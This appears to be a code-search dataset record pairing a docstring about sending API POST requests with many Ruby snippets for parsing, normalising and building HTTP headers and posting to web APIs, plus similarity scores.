self.req[\"Url\"], self.req[\"Version\"] = data.shift.split(\" \", 3)\n data.each do |line|\n k,v = line.split(\":\", 2)\n if !@opts[:header_bl] || !(HEADER_BLACKLIST.include? k)\n header[k] = v.lstrip\n end\n end\n header\n end", "def header_data\n\t\treturn self.normalized_headers.to_s\n\tend", "def str_headers(env, status, headers, res_info, lines, requests, client); end", "def response_headers_hash\n return {} unless response_headers\n result = {}\n prev = nil\n response_headers.each_line do |line|\n next if line.blank?\n if line[0..0].blank?\n raise HeaderParseError.new('Leading whitespace on first header line') unless prev\n prev << line.lstrip\n else\n key, value = line.split(':', 2)\n raise HeaderParseError.new('Missing header name') if key.blank?\n key = NORMALIZED_HEADERS[key.downcase] || key\n prev = value.lstrip!\n result[key] = prev\n end\n end\n result\n end", "def get_normalised_headers(headers = nil)\n normalised_keys = {}\n if !headers.nil?\n if headers.kind_of?Hash\n headers.each do |key,value|\n normalised_key = key.to_s.downcase.gsub('_','-').sub(/http-/,'')\n normalised_keys[normalised_key] = value\n end\n elsif headers.kind_of?String\n normalised_keys = {'user-agent' => headers}\n end\n elsif [email protected]?\n @headers.each do |key,value|\n normalised_key = key.to_s.downcase.gsub('_','-').sub(/http-/,'')\n normalised_keys[normalised_key] = value\n end\n end\n return normalised_keys\n end", "def headers; return {}; end", "def headers; return {}; end", "def http_headers(environment)\n http_headers = headers\n environment.each do |env|\n key, value = env\n match = key.match(/\\AHTTP_(.*)\\Z/)\n next unless match\n\n header = match[1].split('_').map(&:capitalize).join('-')\n http_headers[header] = value\n end\n\n return http_headers\n end", "def unprefixed_headers\n {\"Content-Type\" => @request.content_type,\n \"Content-Length\" => @request.content_length}.compact\n end", "def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend", "def normalized_headers\n\t\theaders = self.headers.dup\n\n\t\theaders[:date] ||= Time.now.httpdate\n\n\t\tif self.bodiless? && !self.extended_reply?\n\t\t\theaders.delete( :content_length )\n\t\t\theaders.delete( :content_type )\n\t\telse\n\t\t\theaders[:content_length] ||= self.get_content_length\n\t\t\theaders[:content_type] ||= DEFAULT_CONTENT_TYPE.dup\n\t\tend\n\n\t\treturn headers\n\tend", "def formulate_headers(auth_header)\n {\n 'Content-Type' => 'application/json',\n 'Authorization' => auth_header,\n 'Content-Encoding' => 'gzip',\n 'Accept' => 'application/json'\n }\n end", "def headers\n res = parsed_headers\n if has_delta?\n res.concat(delta_headers)\n end\n res\n end", "def request_headers; end", "def request_headers; end", "def get_headers_\n hin = ATS::Headers_in.new\n hin.all.reduce({}) do |memo, pair| \n memo[pair.first.downcase] = pair[1]; memo\n end\n end", "def headers\n @headers ||= response ? Hash[response.headers.map{ |k,v| [k.downcase,v] }] : {}\n end", "def headers\n h = {}\n raw.headers_hash.each {|k,v| h[k] = v }\n h\n end", "def process_headers\n { \"Content-Type\" => content_type }.tap do |result|\n headers.each do |header|\n result[header.name] = header.value\n end\n end\n end", "def canonicalized_headers\n x_amz = headers.select{|name, value| name.to_s =~ /^x-amz-/i }\n x_amz = x_amz.collect{|name, value| [name.downcase, value] }\n x_amz = x_amz.sort_by{|name, value| name }\n x_amz = x_amz.collect{|name, value| \"#{name}:#{value}\" }.join(\"\\n\")\n x_amz == '' ? nil : x_amz\n end", "def request_headers(env)\n env.select { |key, _| key[0, 5] == 'HTTP_' }\n end", "def headers\n msg['headers']||{}\n end", "def headers\n\t\t\thdr = @curb.header_str\n\t\t\tself.class.recode(log?, @curb.content_type, hdr) ?\n\t\t\t\tself.class.parse_headers(hdr) :\n\t\t\t\tself.class.parse_headers(@curb.header_str) # recode failed\n\t\tend", "def canonicalize_headers(headers)\n tmp = headers.inject({}) {|ret, h| ret[h.first.downcase] = h.last if h.first.match(/^x-tmrk/i) ; ret }\n tmp.reject! {|k,v| k == \"x-tmrk-authorization\" }\n tmp = tmp.sort.map{|e| \"#{e.first}:#{e.last}\" }.join(\"\\n\")\n tmp\n end", "def convert_headers(original_headers)\n original_headers.inject({}) { |r, v|\n r[\"HTTP_#{v[0].gsub('-', '_').upcase}\"] = v[1]\n r\n }\n end", "def generate_request_header()\n headers = @auth_handler.headers(@credential_handler.credentials(@version))\n return headers.inject({}) do |request_header, (header, value)|\n request_header[prepend_namespace(header)] = value\n request_header\n end\n end", "def get_headers\n request_object.headers\n end", "def headers(headers); end", "def precomputed_header_keys_for_rack\n @precomputed_header_keys_for_rack ||= begin\n @headers.attributes.keys.each_with_object(Hash.new) do |key,hash|\n name = key.to_s\n name = \"HTTP_#{name.gsub('-','_').upcase}\" unless ( name == \"CONTENT_TYPE\" || name == \"CONTENT_LENGTH\" )\n hash[name] = key\n end\n end\n end", "def headers\n # units and source have to go last, so if we push in a new header, these go\n # at end\n @headers+['units','source']\n end", "def canonical_headers\n hash = headers.dup\n hash[\"host\"] ||= Addressable::URI.parse(url).host\n hash = hash.map{|name,value| [name.downcase,value]}\n hash.reject!{|name,value| name == \"authorization\"}\n hash.sort\n end", "def headers\n @headers ||= begin\n @mail.header.fields.inject({}) do |memo, field|\n name = field.name.downcase.to_s\n next memo if self.class.skipped_headers.include?(name)\n\n header = unquoted_header(name)\n memo.update(name => self.class.unescape(header))\n end\n end\n end", "def parse_response_headers\n return {} if response_headers.empty?\n\n lines = response_headers.split(\"\\n\")\n\n lines = lines[1..(lines.size - 1)] # Remove Status-Line and trailing whitespace.\n\n # Find only well-behaved HTTP headers.\n lines.map do |line|\n header = line.split(':', 2)\n header.size != 2 ? nil : header\n end.compact.to_h\n end", "def unwrap_headers(headers, env)\n\t\t\t\theaders.each do |key, value|\n\t\t\t\t\thttp_key = \"HTTP_#{key.upcase.tr('-', '_')}\"\n\t\t\t\t\t\n\t\t\t\t\tif current_value = env[http_key]\n\t\t\t\t\t\tenv[http_key] = \"#{current_value}\\n#{value}\"\n\t\t\t\t\telse\n\t\t\t\t\t\tenv[http_key] = value\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def build_headers(headers)\n headers.select do |key, value|\n !(key.to_s =~ /cookie/i)\n end.inject([]) do |memo, header|\n memo << {\n :name => header[0].to_s.split('_').map(&:capitalize).join('-'),\n :value => header[1].to_s\n }\n end\nend", "def format_headers(nfg_method, soap_request)\n {\n 'Host' => host,\n 'Content-Type' => 'application/soap+xml; charset=utf-8',\n 'Content-Length' => soap_request.length.to_s,\n 'SOAPAction' => \"#{url}/#{nfg_method}\".gsub('.asmx','')\n }\n end", "def extract_headers_from(raw_headers)\n raw_headers.\n to_h.\n keep_if { |header, _value| pagination_headers.include?(header) }.\n transform_keys(&:to_sym).\n transform_values(&:to_i)\n end", "def normalize_headers(headers)\n result = headers.inject({}) do |h, (k, v)|\n # value is in raw form as array of sequential header values\n h[normalize_header_key(k)] = v\n h\n end\n\n # eliminate headers that interfere with playback or don't make sense to\n # record.\n %w(\n connection status host user_agent content_encoding\n ).each { |key| result.delete(key) }\n\n # always obfuscate cookie headers as they won't be needed for playback and\n # would be non-trivial to configure for each service.\n %w(cookie set_cookie).each do |k|\n if cookies = result[k]\n if cookies.is_a?(::String)\n cookies = cookies.split(';').map { |c| c.strip }\n end\n result[k] = cookies.map do |cookie|\n if offset = cookie.index('=')\n cookie_name = cookie[0..(offset-1)]\n \"#{cookie_name}=#{HIDDEN_CREDENTIAL_VALUE}\"\n else\n cookie\n end\n end\n end\n end\n result\n end", "def parse_header_contents; end", "def parse_header_string(header_string)\n status, headers = nil, {}\n return [status, headers] unless header_string\n\n header_string.split(/\\r\\n/).each do |header|\n if header =~ %r|^HTTP/1.[01] \\d\\d\\d (.*)|\n status = $1\n else\n parts = header.split(':', 2)\n unless parts.empty?\n parts[1].strip! unless parts[1].nil?\n if headers.has_key?(parts[0])\n headers[parts[0]] = [headers[parts[0]]] unless headers[parts[0]].kind_of? Array\n headers[parts[0]] << parts[1]\n else\n headers[parts[0]] = parts[1]\n end\n end\n end\n end\n\n [status, headers]\n end", "def request_headers\n @attributes[:request_headers]\n end", "def request_headers\n {}\n end", "def parse_oauth_headers\n # Pull headers and return blank hash if no header variables found\n headers = env['AUTHORIZATION']; result = {};\n return result unless headers && headers[0,5] == 'OAuth'\n # Headers found. Go ahead and match 'em\n headers.split(/,\\n*\\r*/).each do |param|\n phrase, key, value = param.match(/([A-Za-z0-9_\\s]+)=\"([^\"]+)\"/).to_a.map{|v| v.strip}\n result[(key[\"OAuth\"])? :realm : key.to_sym] = value\n end\n result\n end", "def headers\n request.headers\n end", "def response_headers\n @response_headers.map do |header, value|\n \"#{header}: #{value}\"\n end.join(\"\\n\")\n end", "def headers; end", "def headers; end", "def headers; end", "def headers; end", "def headers; end", "def headers; end", "def headers; end", "def headers; end", "def headers; end", "def headers; end", "def encode_header(s); s; end", "def headers\n @headers ||= rack_environment.select{|k,v| k.start_with? 'HTTP_'}\n end", "def headers\n @attributes[:headers]\n end", "def headers(_context)\n {}\n end", "def seperate_headers()\n\t\[email protected](\"\\n\\n\")[0].split(\"\\n\", 2)[1]\n\tend", "def get_headers\n @headers = headers\n @headers\n end", "def headers\n @headers ||= {}\n end", "def header_names headers\n header_names = []\n headers.each do |header|\n header_names.append header[:name]\n end\n header_names.join \",\"\nend", "def headers\n begin\n JSON(data['message_headers'])\n rescue => e\n return []\n end\n end", "def processed_headers; end", "def unify_headers(headers)\n lines = []\n headers.each_pair do |k, v|\n lines << v.map { |val| \"#{k}: #{val}\" }\n end\n\n logger.debug \"Unified headers #{lines.inspect}\" if logger_debug?\n lines.flatten.sort\n end", "def expected_headers_unmet\n unmet = []\n expected = test_case.expected_headers\n expected.each_pair do |k,v|\n got = response.headers[k]\n unmet << \"[headers] #{v} expected for #{k}, got #{got}\" unless (got == v)\n end\n unmet.empty? ? nil : unmet.join(\"\\n\")\n end", "def headers\n cfg_get(:headers)\n end", "def convert_headers(headers)\n return headers unless headers.keys.any? { |k| k =~ /_/ }\n\n result = {}\n\n headers.each do |k, v|\n words = k.split(\"_\")\n key = words.map { |w| w.downcase.capitalize }.join(\"-\")\n result[key] = v\n end\n\n result\n end", "def headers\n end", "def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end", "def get_headers\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/headers'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url\n )\n _response = execute_request(_request)\n validate_response(_response)\n end", "def response_headers_parseable\n response_headers_hash\n rescue HeaderParseError => error\n errors.add :response_headers, \" could not be parsed: #{error.message}\"\n end", "def headers\n [\n { :key => \"User-Agent\", :value => user_agent},\n { :key => \"Content-Type\", :value => \"application/json; charset=utf-8\" },\n { :key => \"Accept\", :value => \"application/json\"}\n ]\n end", "def headers\n return @args[\"headers\"]\n end", "def header(key)\n return false unless headers.key?(key)\n\n headers.fetch(key).first.to_s\n end", "def headers\n fields.map(&:name).map(&:to_sym)\n end", "def headers\n return @args[:headers]\n end", "def headers\n @request_headers\n end", "def signed_headers\n canonical_headers.map{|name,value| name}\n end", "def http_headers(path)\n property_map = {\n '{DAV:}getcontenttype' => 'Content-Type',\n '{DAV:}getcontentlength' => 'Content-Length',\n '{DAV:}getlastmodified' => 'Last-Modified',\n '{DAV:}getetag' => 'ETag'\n }\n\n properties = properties(path, property_map.keys)\n\n headers = {}\n property_map.each do |property, header|\n next unless properties.key?(property)\n\n if properties[property].scalar?\n headers[header] = properties[property]\n elsif properties[property].is_a?(Xml::Property::GetLastModified)\n # GetLastModified gets special cased\n headers[header] = Http::Util.to_http_date(properties[property].time)\n end\n end\n\n headers\n end", "def headers\r\nHttp::Headers.new(@env)\r\nend", "def parse_status_and_headers(headers_str)\n status_and_headers = headers_str.split(\"\\r\\n\")\n status_line = status_and_headers.shift\n \n # TODO: there is no support for repeating headers (like Cookie:)\n header_hash = status_and_headers.each_with_object({}) do | header, h|\n split_at = header.index(':')\n key, value = header[0...split_at], header[(split_at + 1)..-1]\n h[key] = value.strip\n end\n raise \"Invalid response status line #{status_line}\" unless status_line =~ STATUS_PAT\n \n http_version, status_code, status = $1, $2, $3\n [status_code.to_i, header_hash]\n end" ]
[ "0.7738052", "0.76375735", "0.7526284", "0.74985033", "0.7422471", "0.738596", "0.7347085", "0.7345516", "0.7265439", "0.72246337", "0.72185683", "0.7157916", "0.7121895", "0.7113913", "0.7101747", "0.70940393", "0.7065739", "0.7043374", "0.7026042", "0.70230514", "0.7005084", "0.69984394", "0.69526464", "0.69526464", "0.69471776", "0.69323444", "0.69168705", "0.6909763", "0.690459", "0.68899274", "0.6889039", "0.6889039", "0.68869", "0.6876532", "0.6871513", "0.68594164", "0.68592536", "0.68232536", "0.68190217", "0.68164307", "0.68056697", "0.67959195", "0.6722889", "0.6721454", "0.6721206", "0.66886175", "0.6671978", "0.6662508", "0.6661249", "0.66595715", "0.6640396", "0.66162753", "0.6613654", "0.6603483", "0.65862906", "0.6580421", "0.656758", "0.65350187", "0.6529244", "0.6520916", "0.65081894", "0.6491821", "0.64788395", "0.64788395", "0.64788395", "0.64788395", "0.64788395", "0.64788395", "0.64788395", "0.64788395", "0.64788395", "0.64788395", "0.6475389", "0.64580446", "0.64416486", "0.6440548", "0.6440426", "0.6428895", "0.64068115", "0.64034534", "0.64033556", "0.6389192", "0.6384046", "0.63794243", "0.63761055", "0.6370431", "0.6366493", "0.6365389", "0.63598824", "0.6358606", "0.6356792", "0.63557935", "0.63524103", "0.634954", "0.63469195", "0.63445", "0.6334887", "0.63330287", "0.6331092", "0.6330153" ]
0.78744954
0
Communicates with the API Does a simple POST call with required arguments Always sends the dev_key and the headers path:: path to the API resource arg:: hash containing additional arguments (see wapl.info docs) Returns HTTP::result object
def send_request(path,arg = {}) url= URI.parse(@@api_root + @@resources[path].to_s) post_arg = {'devKey'=>@dev_key , 'headers'=>@header_string } post_arg.merge!(arg) res = Net::HTTP.post_form(url, post_arg) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post(path, params={})\n params[:apikey] = self.api_key\n RestClient::Request.execute(\n :method => :post,\n :url => \"#{self.uri}#{path}\",\n :headers=> {},\n :payload=> params,\n :verify_ssl=> @ssl_verify )\n end", "def http_post_request\n begin\n return http_client.post(http_path_query, compressed_request, http_headers)\n rescue APIKeyError\n log 'error - you must set your api_key.'\n rescue TimeoutError\n log 'fail - timeout while contacting the api server.'\n rescue Exception => e\n log \"fail - exception raised during http post. (#{e.class.name}: #{e.message})\"\n end\n nil\n end", "def send\n post_params = {}\n self.parameters.each { |key, value|\n if value.is_a? Array\n i = 0\n value.each { |value_value|\n post_params[key.to_s + '[' + i.to_s + ']'] = value_value.to_s\n i += 1\n }\n elsif value.is_a? Hash\n value.each { |value_key, value_value|\n post_params[key.to_s + '[' + value_key.to_s + ']'] = value_value.to_s\n }\n else\n post_params[key.to_s] = value.to_s\n end\n }\n\n url = URI.parse(@@API_URL)\n http_request = Net::HTTP::Post.new(url.path)\n http_request.form_data = post_params\n http_request.basic_auth url.user, url.password if url.user\n\n response = Spree::PAYONE::Proxy::Response.new\n connection = Net::HTTP.new(url.host, url.port)\n load_ca_file connection\n connection.use_ssl = true\n connection.start { |http|\n http_response = http.request(http_request)\n response.response_body= http_response.body\n }\n\n response\n end", "def api_post(path, data = {})\n api_request(:post, path, :data => data)\n end", "def api_request method, params = nil\n\t\t\tconnection = ZenfolioAPI::HTTP.new()\n\t\t\t@response = connection.POST(method, params, @auth.token)\n\t\tend", "def send_request\n request = HTTPI::Request.new\n request.url = api_url\n request.auth.basic(email, key)\n request.auth.ssl.ca_cert_file = ca_cert_file\n request.auth.ssl.verify_mode = :peer\n request.open_timeout = 30\n request.headers['Content-Type'] = 'application/json'\n request.headers['Accept-Encoding'] = 'gzip, deflate, identity'\n request.body = @parameters.to_json\n \n HTTPI.post(request)\n rescue\n raise ConnectionError\n end", "def api_post(action, data, binary_key = nil)\n api_request(action, data, 'POST', binary_key)\n end", "def _make_api_call(json_params=nil)\n\n puts \"Crossbar::HTTP - Request: POST #{url}\" if self.verbose\n\n encoded_params = nil\n if json_params != nil\n if self.pre_serialize != nil and self.pre_serialize.is_a? Proc\n json_params = self._parse_params json_params\n end\n encoded_params = JSON.generate(json_params)\n end\n\n puts \"Crossbar::HTTP - Params: #{encoded_params}\" if encoded_params != nil and self.verbose\n\n uri = URI(self.url)\n\n if self.key != nil and self.secret != nil and encoded_params != nil\n signature, nonce, timestamp = self._compute_signature(encoded_params)\n params = {\n timestamp: timestamp,\n seq: self.sequence.to_s,\n nonce: nonce,\n signature: signature,\n key: self.key\n }\n uri.query = URI.encode_www_form(params)\n\n puts \"Crossbar::HTTP - Signature Params: #{params}\" if self.verbose\n end\n\n # TODO: Not sure what this is supposed to be but this works\n self.sequence += 1\n\n self._api_call uri, encoded_params\n end", "def post(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'post'}.merge(authentication))\n end", "def post_api(path, params={}, headers={})\n headers.merge!('CONTENT_TYPE' => \"application/json\")\n post path, params, headers\nend", "def post(header = {})\n return self if ApiKits.config.mock\n url = \"#{ApiKits.config.api_uri}#{self.class.resource_path}\"\n response = ApiKits::Dispatcher.post(url, self.to_hash, header)\n update(response, url)\n end", "def post_request(options, path, post_data)\n\n result = {}\n\n http = Net::HTTP.new(ENV['NESSUS_HOST'], options[:port])\n http.use_ssl = @use_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n http.start do |http|\n req = Net::HTTP::Post.new(path)\n\n req['X-ApiKeys'] = \"accessKey=#{ENV['NESSUS_ACCESS_KEY']}; secretKey=#{ENV['NESSUS_SECRET_KEY']}\"\n req.body = post_data\n \n resp, data = http.request(req)\n \n if resp.code.eql? '200'\n #print \"Data: \" + JSON.pretty_generate(JSON.parse(resp.body.to_s))\n result = JSON.parse(resp.body.to_s)\n else\n puts \"Error: \" + resp.code.to_s + \"\\n\" + resp.body\n end\n end\n\n return result\n end", "def http_post(path, request)\n @http.post(\n :body => JSON(:request => request.to_hash),\n :headers => headers,\n :path => \"/api/v2/#{path}\",\n :expects => [200, 201, 202]\n )\n end", "def post endpoint, body = {}\n body.merge!(api_key: api_key, namespace: namespace)\n\n response = connection.post do |req|\n req.url endpoint\n req.body = body.to_json\n end\n\n format_response_or_raise_error(response)\n end", "def post(path, **args); end", "def api_gateway_post(path, params)\n api_gateway_body_fwd = params.to_json\n rack_input = StringIO.new(api_gateway_body_fwd)\n\n post path, real_params = {}, 'rack.input' => rack_input\nend", "def request_post(path, data)\n\ttimestamp = Time.now.utc.iso8601\n\tauth = create_hmac_auth(\"POST\", path, timestamp)\n\t\n\turi = URI($baseUrl + path)\n\n\trequest = Net::HTTP::Post.new(uri)\n\trequest.add_field(\"Content-Type\", \"application/json\")\n\trequest.add_field(\"x-hp-hmac-authentication\", auth)\n\trequest.add_field(\"x-hp-hmac-date\", timestamp)\n\trequest.body = data\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend", "def post\n @response_body = make_request(\"#{api_url}#{endpoint}\", request_body.to_json)\n puts \"GLIMR POST: #{endpoint} - #{request_body.to_json}\" if ENV.key?('GLIMR_API_DEBUG')\n end", "def post(path, params={}, options={})\n request(:post, api_path(path), params, options)\n end", "def post_to_url(conn, key, body)\n res = conn.post do | req |\n # req.headers['x-api-key'] = key\n req.body = body.to_json\n end\n JSON.parse(res.body)\n end", "def hit_api_direct\n # CollegiateLink API needs some data to be hashed and sent for auth purposes\n time = (Time.now.to_f * 1000).to_i.to_s\n ipaddress = ENV['cl_ipaddress']\n apikey = ENV['cl_apikey']\n privatekey = ENV['cl_privatekey']\n random = SecureRandom.hex\n hash = Digest::SHA256.hexdigest(apikey + ipaddress + time + random + privatekey)\n\n url = ENV['cl_apiurl'] + @resource + \"?time=\" + time + \"&apikey=\" + apikey + \"&random=\" + random + \"&hash=\" + hash + @url_options\n return send_request(url, nil)\n end", "def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end", "def post(method, args=nil)\n http = new_http\n\n if api_key\n args[:api_key] = api_key\n end\n\n if api_version\n args[:api_version] = api_version\n end\n\n request = Net::HTTP::Post.new('/api/' + method)\n\n if args\n request.set_form_data(args)\n end\n\n result = invoke(http, request)\n JSON.parse(result.body)\n end", "def post(path, options = {})\n nonce, signature = generate_signature\n options = options.merge(key: @api_key, nonce: nonce, signature: signature)\n result = @connection.post(\"#{path}/\", options).body\n JSON.parse(result)\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def post\n RestClient.post(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def post(resource, params)\n Api.new.post(resource, params)\n end", "def httppost(url, corpNum, postData, action = '', userID = '', contentsType = '')\n\n headers = {\n \"x-lh-version\" => KAKAOCERT_APIVersion,\n \"Accept-Encoding\" => \"gzip,deflate\",\n }\n\n apiServerTime = @linkhub.getTime(@useStaticIP, @useGAIP)\n\n hmacTarget = \"POST\\n\"\n hmacTarget += Base64.strict_encode64(Digest::SHA256.digest(postData)) + \"\\n\"\n hmacTarget += apiServerTime + \"\\n\"\n\n hmacTarget += KAKAOCERT_APIVersion + \"\\n\"\n\n key = Base64.decode64(@linkhub._secretKey)\n\n data = hmacTarget\n digest = OpenSSL::Digest.new(\"sha256\")\n hmac = Base64.strict_encode64(OpenSSL::HMAC.digest(digest, key, data))\n\n headers[\"x-kc-auth\"] = @linkhub._linkID+' '+hmac\n headers[\"x-lh-date\"] = apiServerTime\n\n if contentsType == ''\n headers[\"Content-Type\"] = \"application/json; charset=utf8\"\n else\n headers[\"Content-Type\"] = contentsType\n end\n\n headers[\"Authorization\"] = \"Bearer \" + getSession_Token(corpNum)\n\n\n uri = URI(getServiceURL() + url)\n\n https = Net::HTTP.new(uri.host, 443)\n https.use_ssl = true\n Net::HTTP::Post.new(uri)\n\n res = https.post(uri.request_uri, postData, headers)\n\n if res.code == \"200\"\n if res.header['Content-Encoding'].eql?('gzip')\n JSON.parse(gzip_parse(res.body))\n else\n JSON.parse(res.body)\n end\n else\n raise KakaocertException.new(JSON.parse(res.body)[\"code\"],\n JSON.parse(res.body)[\"message\"])\n end\n end", "def api_gateway_post(path, params)\n api_gateway_body_fwd = params.to_json\n rack_input = StringIO.new(api_gateway_body_fwd)\n\n post path, real_params = {}, {\"rack.input\" => rack_input}\nend", "def post\n resource.post(request, response)\n end", "def post(path, data = {})\n request 'POST', path, body: data.to_json\n end", "def post(path, params={})\n RestClient.post request_base+path, params\n end", "def call method, args = {}\n unless args.is_a? Hash\n raise ArgumentError.new \"argument must be a Hash\"\n end\n\n args.each_key do |key|\n if args[key].is_a?(Array) || args[key].is_a?(Hash)\n args[key] = JSON.dump(args[key])\n end\n end\n\n @faraday.post method, args\n end", "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend", "def send(resource, result)\n uri = URI(api_location + resource)\n\n request = Net::HTTP::Post.new(uri.path,\n initheader = {\n 'Content-Type' => 'application/json',\n 'ApiToken' => @options[:api_token]\n }\n )\n request = prepare_basic_auth(request)\n\n @logger.debug \"Send: #{resource}\"\n\n request.body = result.to_json\n\n response = Net::HTTP.start(uri.host, uri.port,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE,\n :use_ssl => uri.scheme == 'https') do |http|\n http.read_timeout = 999999\n http.request(request)\n end\n\n @logger.debug \"#{resource}, #{response.code}\"\n response.code\n end", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def post(data = {})\n call data, method: :post\n end", "def request_post(path, data)\n\ttimestamp = Time.now.utc.iso8601\n\tauth = create_hmac_auth(\"POST\", path, timestamp)\n\t\n\turi = URI($baseUrl + path)\n\n\trequest = Net::HTTP::Post.new(uri)\n\trequest.add_field(\"Content-Type\", \"application/json\")\n\trequest.add_field(\"x-hp-hmac-authentication\", auth)\n\trequest.add_field(\"x-hp-hmac-date\", timestamp)\n\trequest.add_field(\"x-hp-hmac-algorithm\", \"SHA256\")\n\trequest.body = data\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend", "def post(path, params = nil)\n response = @connection.post do |req|\n req.headers = generate_headers\n req.url path\n req.body = params.to_json\n end\n Arke::Log.fatal(build_error(response)) if response.env.status != 201\n response\n end", "def _http_post resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Post.new(path)\n _build_request resource, request\nend", "def _http_post resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Post.new(path)\n _build_request resource, request\nend", "def post(header = {})\n return self if ApiClient.config.mock\n url = \"#{ApiClient.config.path[path]}#{self.class.resource_path}\"\n response = ApiClient::Dispatcher.post(url, self.to_hash, header)\n update(response, url)\n end", "def call method, args = {}\n unless args.is_a? Hash\n raise ArgumentError.new \"argument must be a Hash\"\n end\n\n @faraday.post method.to_s, args\n end", "def post(api_version, resource, payload, query_parameters = nil,\n headers = nil)\n make_rest_call(:post, uri_builder(api_version, resource,\n query_parameters), payload, headers)\n end", "def post(resource, **params)\n\n execute(Net::HTTP::Post, 'POST', resource, **params)\n\n end", "def a_pi_key_new_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: APIKeyApi.a_pi_key_new ...\"\n end\n # resource path\n local_var_path = \"/apiKey\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n form_params[\"name\"] = opts[:'name'] if !opts[:'name'].nil?\n form_params[\"cidr\"] = opts[:'cidr'] if !opts[:'cidr'].nil?\n form_params[\"permissions\"] = opts[:'permissions'] if !opts[:'permissions'].nil?\n form_params[\"enabled\"] = opts[:'enabled'] if !opts[:'enabled'].nil?\n form_params[\"token\"] = opts[:'token'] if !opts[:'token'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIKey')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: APIKeyApi#a_pi_key_new\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def post(path, data={})\n request(:post, path, data)\n end", "def send(key)\n HTTParty.post(@add_url, {\n :headers => {\n \"Content-Type\" => \"application/json; charset=UTF8\",\n \"X-Accept\" => \"application/json\"\n },\n :body => {\n #:url => formatted[:url],\n :url => \"https://www.engadget.com/2016/10/09/more-galaxy-note-7-replacement-fires/\",\n #:tags => formatted[:tags],\n :consumer_key => ENV['POCKET_CONSUMER_KEY'],\n :access_token => key\n }.to_json\n })\n end", "def post(path, arguments = {})\n perform_request { connection.post(path, arguments).body }\n end", "def post_call(location,params)\n puts \"#Wrapper Service POST req:- \\n#Host: #{@host} \\n#Location: #{location} \\n#Params: #{params.to_json} \"\n response = @conn.post location, params\n puts \"#Response Code: #{response.status}\"\n return response\n end", "def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend", "def post(resource, body = \"\", headers = {})\n prepare_request(:post, resource, body, headers)\n end", "def api_post(action, data)\n api_request(action, data, 'POST')\n end", "def executeadb(token, rid , adbcommand)\nuri = URI.parse(\"https://device.pcloudy.com/api/execute_adb\")\n@toSend = {\n \"token\" => token , \"rid\" => rid, \"adbCommand\" => adbcommand\n}.to_json\n\nhttps = Net::HTTP.new(uri.host,uri.port)\nhttps.use_ssl = true\n\nreq = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})\n\nreq.body = \"#{@toSend}\"\nres = https.request(req)\nputs \"Response #{res.code} 